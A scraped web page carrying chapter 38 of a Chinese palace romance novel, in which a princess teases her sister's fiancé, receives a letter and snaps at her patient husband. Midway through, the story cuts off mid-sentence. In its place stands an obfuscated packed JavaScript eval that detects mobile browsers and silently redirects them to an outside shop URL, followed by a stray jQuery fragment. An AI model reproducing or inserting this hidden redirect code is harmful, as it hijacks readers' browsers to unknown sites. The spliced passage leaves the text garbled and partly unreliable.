文趣网 > 其他小说 > 落难公主种田记 > 38. 温顺
    【38】

    自发现田定青没有对他们下手的打算后,邹暮云的视线便一直胶着在佟语盈身上。

    听得她的话,他欲言又止。

    对面的羽林中郎将、五公主的未婚夫,说了这样多的话,她就只记得五公主骂她的一句“蠢货”?

    从那些被复述的话中听出来的那些姊妹情深,难不成,是他的错觉?

    他有些狐疑。

    他曾听太子殿下说过,五公主和七公主有些不对付,碰在一处就要吵架。

    而五公主佟芝芝,乃是上京中,唯一能让这心高气傲、娇蛮任性的云嘉公主吃亏的人。

    但他同样记得,他们离京那一日,十里亭里,除了被流放漠北的太子殿下,所有皇子公主都过来了。

    其中,也有五公主。

    重要的是,当日继后心怀不轨、给她下了情毒,且随时可能带人来撞破二人之间意乱情迷的纠缠,还是五公主将佟语盈提前离席这事给圆了过去,堵住了继后后续的算计。

    事后他听得这事,还以为几年过去,她们姊妹关系融洽了呢!

    原来只是他们错觉么?

    正想着,邹暮云忽然发觉了不对劲。

    这小公主,她在对面郎君身上的目光是不是停留得太久了些?

    而且,边看着人家边捂着唇笑是什么意思?

    她方才不是还哭了么?这会儿怎么又笑了?

    一股无名火从心口窜上脑海,腹中跟打翻了醋碟似的,酸溜溜的,他险些要控制不住自己脸上的表情。

    不过,才抬手在她眼前遮了遮,佟语盈便瞪了他一眼,这才让他清醒过来。

    他的手在半空中顿了顿,不动声色地转了个弯,落到她发上:“云嘉,你发上沾了点草屑。”

    哎呀,定是田定青方才骑马过来时,扬起落在她发上的!

    佟语盈再顾不得其他,忙让邹暮云给她好好检查,看身上有哪里是否也沾了什么东西。

    邹暮云若无其事地点头,当真替她检查起来。

    对面站着的田定青,孤零零的,被这二人全然忽视掉了。更凄凉的是,他的马儿此时也朝他喷了一个响鼻,沾了他一身的粘液和草屑。

    田定青:“……”

    佟语盈眼角余光瞥见这一幕,唇角的弧度愈发大了。

    但这样的糗事,怎么能只有自己一个人看到呢?

    她悄悄拉了拉邹暮云的衣袖,将声音压得很低:“你看,他好好笑。”

    原来小公主是觉得对面的田中郎将好笑,才一直盯着他看的?

    邹暮云心气忽然就顺了,他此时已经装模作样地给人检查完,温声道:“云嘉,你身上干净了。”

    佟语盈便转过了身,目光却不受控制地往对面田定青身侧湿了一片的外袍看,见人正手忙脚乱又极力压制着不在她面前失态的模样,终于“噗嗤”笑出了声。

    “田定青,”自太子兄长被废以来,她头一回笑得这样畅快,“你回京后,替我给臭……唔,给五公主传一句话。”

    听到她说的话,田定青唇角抽了抽。

    让自己跟自己的未婚妻,传自己的坏话?

    这七公主,果真够坏的。

    但这样想,他却丝毫不敢将人得罪——纵然她如今沦落到如此境地,只好干巴巴地应下了。

    五公主连七公主可能骂她都料到了,为何没有料到她会捉弄自己?

    田定青清冷的面上,飞快划过一抹委屈,很快被他掩饰住。

    小小地欺负了一下老实人,还是佟芝芝的未婚夫,佟语盈这会子的心情就跟天上挂着的太阳似的,明媚得紧。

    见她如此,邹暮云唇角也慢慢地勾了起来。

    她心情这样好,那他关心她与五公主的姐妹关系,她应当不会生气的……罢?他有些不确定地想。

    但他的想法注定是落空的。

    云嘉公主的心情,素来就跟天上飘荡的云团似的,阴晴不定。

    她这会儿才高兴地捉弄了人,只一个眨眼的功夫,瞥见那封被递过来的厚厚的信封,她的眼泪瞬时就滚滚而下。

    “臭佟芝芝,”她捏着信封,力道紧紧的,却嘴硬,“这样厚的信,定是写来骂我的,我才不要看。”

    “我又不能往上京回信,骂不了她。”

    会把她气坏的。

    田定青一言不发,眼皮都没撩一下,就跟没听见她这句话似的。

    他这样的态度,倒让佟语盈有些不确定起来。

    她都这样骂人了,田定青肯定是会将她的话原原本本地告诉佟芝芝的,对罢?

    哥哥教过的,这叫什么来着?属于三十六计里的哪一计?

    唔,她忘记了。

    佟语盈丧着一张脸,被自己蠢哭了。幸得方才她已经哭过,险险为她做了遮掩,两个男人都没瞧出什么不对劲。

    好在,下一瞬,她便听得田定青的话:“七公主,臣要回京复命了。您放心,臣会将您的话转告五公主的。”

    佟语盈破涕为笑:“那你定要好好说。”

    唔,看在佟芝芝是头一个找到她给她写信之人的份上,她就少讨厌她一点点好了。

    说起来,她那么聪明,肯定知道自己的意思的罢?

    佟语盈方才一双鹿眼还水盈盈的,这当会儿,她心情明亮起来之后,便似清晨的水雾遇到了朝阳,那层水意顿消,恢复了往日的清澈。

    田定青微微颔首:“七公主,臣会好好说的。”他顶着一张清冷的俊脸,说着再老实不过的担保之言。

    佟语盈捏着信封的双指力道不变,其余三指却忍不住微微翘了起来。

    兰花指初时蜷了蜷,不过两三息,就飞扬起来。

    只有邹暮云留意到,田定青只有在最开始见到二人时,唤了佟语盈一声“云嘉公主”,其余时候,不是唤她“七公主”,就是省略前缀直接唤她“公主”。

    他眼睛眯了起来。

    这人,是知道云嘉是她的小名儿么?

    是谁告诉他的?他的未婚妻,上京那五公主?

    还是说,佟语盈的小名儿在上京,家喻户晓,人人都这样唤她?

    邹暮云心里泛起细微的不爽,后知后觉地发现了不对劲之处。

    他真是太迟钝了。

    皇帝不爱皇后,但碍于她身后的镇国公府,便装出一副爱她的模样求娶她;但他又不想委屈自己,故而编造出一套和儿子吃醋的话术来哄骗过了世人,甚而故意惹出了一场笑谈。

    那云嘉呢?

    对于这个女儿,他予她锦衣玉食、独一无二的偏宠,却将她的小名儿当成她的封号,这是何意?

    邹暮云眸中泛起冷意。

    但他的疑问注定得不到答案,至少现在得不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691090|207758||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到。

    等田定青返身回了密林,带回一辆装得满满的马车,而后跟二人再次告辞回京复命之后,邹暮云才提了一嘴,就挨了骂。

    “关你什么事?”佟语盈跟被踩了尾巴的猫儿一样炸了毛,语速很快,透着不满,“我们姐妹之间的关系,岂是你能探听的?”

    邹暮云:“……”

    幸好他想着要循序渐进,且怕坏她心情,没问别的话,只试探性地问了姐妹二人的关系。

    不想,还是挨骂了。

    这小公主,过河拆桥做得当真不亏心啊!

    方才害怕那田定青,不住地往他怀里躲;现下,没了危险,他就又成了外人是吧?

    他不是她的驸马么?

    公主之间的关系,他为何不能探听?

    但邹暮云才要开口,便记起了自己给自己定下的规矩,只好将那些话咽了回去。

    要耐心些,她性子不算好,这是他求娶之前就知道的事。那会儿还觉得她可爱,这当会儿,可如何不能忍了?

    当人夫君的,受受气怎么了?

    娶到她,才是他的福气。

    而且,她离魂之症才大好,可莫让她气着,又坏了身子。

    那肝肠寸断的滋味,他不想再尝试一回。

    “是,我知道了。”想着,心里微末的一分气骤消,他垂眸温顺道。

    他这样乖顺,跟一只羊似的,倒让佟语盈多看了他几眼。

    她是不大聪明,但也不蠢。

    她看到了他方才欲言又止的模样了。

    他心里肯定是对她有不满的,尤其是对于她方才呵斥他的那两句话。

    但他为何不反驳呢?

    若说先前一月,田定青在二人后面不远处跟着,他怕她跟人告状而装得温顺,也情有可原。

    但田定青都走了,也将与他同行的一名羽林卫带走了,邹暮云为何还是这副模样?

    他到底有什么企图?

    她身上,还有值得他图谋的东西么?

    下意识忽略男女间复杂的感情关系,佟语盈越想越偏,直想得自己头都有些疼了,索性不想。

    她但更不想让这人好过:“扶我上马车歇息。”

    等被他抱住,熟悉的体温和男子清朗的体息萦绕鼻尖,几乎要将清新的青草林木气息掩盖了去。

    她面上倏地泛起粉来,心里又热又燥,来不及多想,她将这样的不自在归于他昨夜的孟浪。“都怪你。”

    她恨恨地踩了他一脚。

    才踩完,她身子便腾空而起。

    幸好她赶上了,不然就踩不到他了,她想。忽然有些得意,唇角颊边的一对小梨涡甚是招摇。

    邹暮云已经揽住她纤细的腰肢,正要将她横抱起,忽然便被踩了一脚,他的动作便停住了。

    她怎么还未消气?早知他不多嘴问那一句了。

    不过……垂眸瞥见她亮若星辰的双眸,和两靥泛着的绯色,他盯着她那对晃人心神的小梨涡,若有所思。

    她说,都怪他。

    怪他什么?

    她若是不多余解释后边一句,邹暮云还不会多想。

    但她说了,他便控制不住地想起了昨夜的缠绵来。

    “哦,好。”小片刻后,他眼神飘忽道。

    也幸好回答也就两个字,不然,他声音里的结巴,就要掩饰不住了。